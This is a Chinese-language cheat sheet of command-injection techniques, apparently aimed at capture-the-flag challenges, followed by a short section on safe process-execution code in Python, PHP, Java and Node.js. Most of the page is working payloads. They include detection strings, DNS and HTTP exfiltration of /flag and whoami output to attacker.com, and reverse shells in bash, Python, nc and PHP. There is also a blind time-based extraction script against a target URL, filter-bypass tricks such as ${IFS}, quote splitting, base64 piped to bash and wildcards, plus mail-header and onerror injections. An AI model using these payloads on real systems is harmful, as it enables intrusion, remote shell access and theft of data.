命令注入实战笔记#

1
Step 1: 回显测试
2
────────────────────────────────────────
3
Payload: ; echo INJECTED
4
         & echo INJECTED &
5
         | echo INJECTED
6

7
有回显 → 直接利用
8
无回显 → 进入盲注检测
9

10

11
Step 2: 盲注检测（时间延迟）
12
────────────────────────────────────────
13
Payload: ; sleep 5
14
         & ping -c 5 127.0.0.1 &
15
         || sleep 5
16

17
有延迟 → 命令执行成功，进入利用阶段
18
无延迟 → 换分隔符或换注入点
19

20

21
Step 3: OOB 外带确认（DNS/HTTP）
22
────────────────────────────────────────
23
Payload: ; nslookup $(whoami).attacker.com
24
         & curl http://attacker.com/$(id | base64)
25

26
收到请求 → 确认漏洞存在

1
whoami              # 当前用户
2
id                  # 用户ID和组
3
uname -a            # 系统信息
4
cat /etc/passwd     # 用户列表
5
ifconfig / ip a     # 网络配置
6
netstat -an         # 网络连接
7
ps -ef              # 进程列表
8
cat /proc/1/cgroup  # 容器检测
9
find / -name "flag*" 2>/dev/null   # 查找 flag

1
whoami              # 当前用户
2
ver                 # 系统版本
3
ipconfig /all       # 网络配置
4
netstat -an         # 网络连接
5
tasklist            # 进程列表
6
dir /s /b flag*     # 查找 flag

1
; id
2
; whoami
3
; cat /etc/passwd
4
; uname -a
5
; cat /proc/1/cgroup        # 容器检测

1
; cat /flag
2
; cat /flag.txt
3
; find / -name "flag*" 2>/dev/null
4
; ls -la / && cat /flag*

1
# Bash
2
; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
3

4
# Python
5
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
6

7
# nc（需要 -e 支持）
8
; nc IP PORT -e /bin/bash
9

10
# nc（无 -e 版本）
11
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
12

13
# PHP
14
; php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

1
; cat /flag > /var/www/html/flag.txt
2
; cp /flag /var/www/html/f.txt
3
; ls / > /var/www/html/out.txt

1
# 基础外带
2
; nslookup $(whoami).attacker.com
3
; ping -c 1 $(whoami).attacker.com
4

5
# 外带文件内容（分段）
6
; ping -c 1 $(cat /flag | head -c 30 | xxd -p).attacker.com
7

8
# 完整外带（需 dnslog 平台）
9
; for i in $(cat /flag); do ping -c 1 $i.attacker.com; done

1
; curl http://attacker.com/?d=$(cat /flag | base64)
2
; wget http://attacker.com/?d=$(cat /flag | base64)

1
# 单字符判断
2
; if [ $(cat /flag | head -c 1) = 'f' ]; then sleep 3; fi
3

4
# Python 自动化脚本
5
import requests, string, time
6

7
url = "http://target.com/cmd?ip=127.0.0.1;"
8
charset = string.ascii_letters + string.digits + "{}_"
9
flag = ""
10

11
for i in range(1, 50):
12
    for c in charset:
13
        payload = f"if [ $(cat /flag | head -c {i} | tail -c 1) = '{c}' ]; then sleep 2; fi"
14
        start = time.time()
15
        requests.get(url + payload)
16
        if time.time() - start > 2:
17
            flag += c
18
            print(f"Flag: {flag}")
19
            break

1
# 上传文件名为恶意命令
2
filename="test;cat /flag"

1
<img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">

1
to=admin@test.com%0abcc:attacker@evil.com%0aSubject: $(cat /flag)

1
# 原始
2
cat /flag
3

4
# 绕过空格过滤
5
cat${IFS}/flag
6
cat$IFS$9/flag
7
{cat,/flag}
8
cat%09/flag
9
cat</flag

1
c'a't /flag
2
c"a"t /flag
3
ca''t /flag
4
cat /fl'a'g

1
c\at /flag
2
ca\t /fl\ag
3
cat /fl\ag

1
a=c;b=a;c=t;$a$b$c /flag
2
a=cat;b=/flag;$a $b

1
# cat /flag 的 base64
2
echo Y2F0IC9mbGFn | base64 -d | bash
3

4
# 执行任意命令
5
echo Y2F0IC9mbGFn | base64 -d    # 解码查看

1
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
2
# \x63\x61\x74 = cat, \x20 = 空格, \x2f\x66\x6c\x61\x67 = /flag

1
$(printf "\143\141\164\040\057\146\154\141\147")

1
/???/??t /fl??           # /bin/cat /flag（可能匹配多个命令）
2
/???/c?t /fl??           # /bin/cat /flag（更精确）
3
/???/?s -??              # /bin/ls -la
4
/???/??d /???/??ss??     # /bin/find /var/www

1
# LF
2
cmd%0acmd2
3

4
# CRLF
5
cmd%0d%0acmd2

1
# 写入脚本
2
; echo -n 'cat ' > /tmp/a
3
; echo '/flag' >> /tmp/a
4
; sh /tmp/a
5

6
# 或逐字符写入
7
; echo 'c' > /tmp/x
8
; echo 'a' >> /tmp/x
9
; echo 't' >> /tmp/x
10
; echo ' /flag' >> /tmp/x
11
; sh /tmp/x

1
# 方法1: 大括号 + 通配符
2
{c""at,/fl??}
3

4
# 方法2: 通配符 + URL 编码空格
5
/???/c?t%20/fl??
6

7
# 方法3: Base64（如果允许管道符解码）
8
echo Y2F0IC9mbGFn|base64 -d|sh

1
1. 注入测试
2
   │
3
   ├─ ; id → 有回显?
4
   │   ├─ 是 → 直接利用，cat /flag
5
   │   └─ 否 → 继续
6
   │
7
   ├─ ; sleep 5 → 有延迟?
8
   │   ├─ 是 → 盲注，选择外带方式
9
   │   └─ 否 → 换分隔符或换注入点
10
   │
11
   └─ ; curl dnslog → 收到请求?
12
       ├─ 是 → OOB 可用
13
       └─ 否 → 写文件/时间盲注
14

15
2. 过滤测试
16
   │
17
   ├─ 测试空格 → ${IFS} / {} / %09 绕过
18
   ├─ 测试 cat → c'a't / /???/c?t 绕过
19
   ├─ 测试 flag → /fla? / /f* 绕过
20
   └─ 测试分隔符 → %0a / && 绕过
21

22
3. 利用方式选择
23
   │
24
   ├─ 有回显 → 直接读 flag
25
   ├─ 无回显 + 有外网 → DNS/HTTP 外带
26
   ├─ 无回显 + 无外网 → 写 web 目录
27
   └─ 完全盲 → 时间盲注逐字符

1
场景: 文件下载功能，filename 参数
2
原始: download?file=report.pdf
3
利用: download?file=report.pdf;cat /flag
4
原因: 后端执行 wget $filename 未过滤

1
场景: wkhtmltopdf 渲染用户输入 HTML
2
利用: <img src="x" onerror="eval(atob('Y2F0IC9mbGFn'))">
3
原因: HTML 渲染时执行 JS，可读取本地文件

1
场景: 网络工具页面，ping 功能
2
原始: /api/ping?ip=127.0.0.1
3
利用: /api/ping?ip=127.0.0.1;cat${IFS}/flag
4
原因: 后端执行 ping -c 4 $ip 未过滤

1
场景: sendmail 发送邮件
2
利用: to=admin@test.com%0abcc:attacker@evil.com
3
原因: 换行符注入邮件头，可窃取邮件/执行命令

1
# 错误：shell=True 会被注入
2
subprocess.call("ping -c 4 " + user_input, shell=True)
3

4
# 正确：参数数组，shell=False
5
subprocess.call(["ping", "-c", "4", user_input], shell=False)

1
import subprocess
2

3
# 安全：参数数组，shell=False
4
subprocess.run(["ls", "-la", user_path], shell=False, capture_output=True)
5

6
# 使用 shlex 转义（不推荐作为主要防线）
7
import shlex
8
safe_path = shlex.quote(user_input)

1
// 安全：escapeshellarg 转义单个参数
2
$safe_path = escapeshellarg($user_input);
3
system("ls -la " . $safe_path);
4

5
// 安全：escapeshellcmd 转义整个命令
6
$safe_cmd = escapeshellcmd($user_cmd);
7
system($safe_cmd);
8

9
// 更安全：避免 system()，使用原生函数
10
// 读文件用 file_get_contents() 而非 cat

1
// 安全：使用 ProcessBuilder 参数列表
2
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", userIp);
3
Process p = pb.start();
4

5
// 不安全：Runtime.exec 字符串形式（会被解析）
6
Runtime.getRuntime().exec("ping -c 4 " + userIp);  // 危险！

1
// 安全：使用数组形式，不传 shell: true
2
const { spawn } = require('child_process');
3
const child = spawn('ls', ['-la', userPath]);
4

5
// 不安全：exec 会启动 shell
6
const { exec } = require('child_process');
7
exec('ls -la ' + userPath, (err, stdout) => {});  // 危险！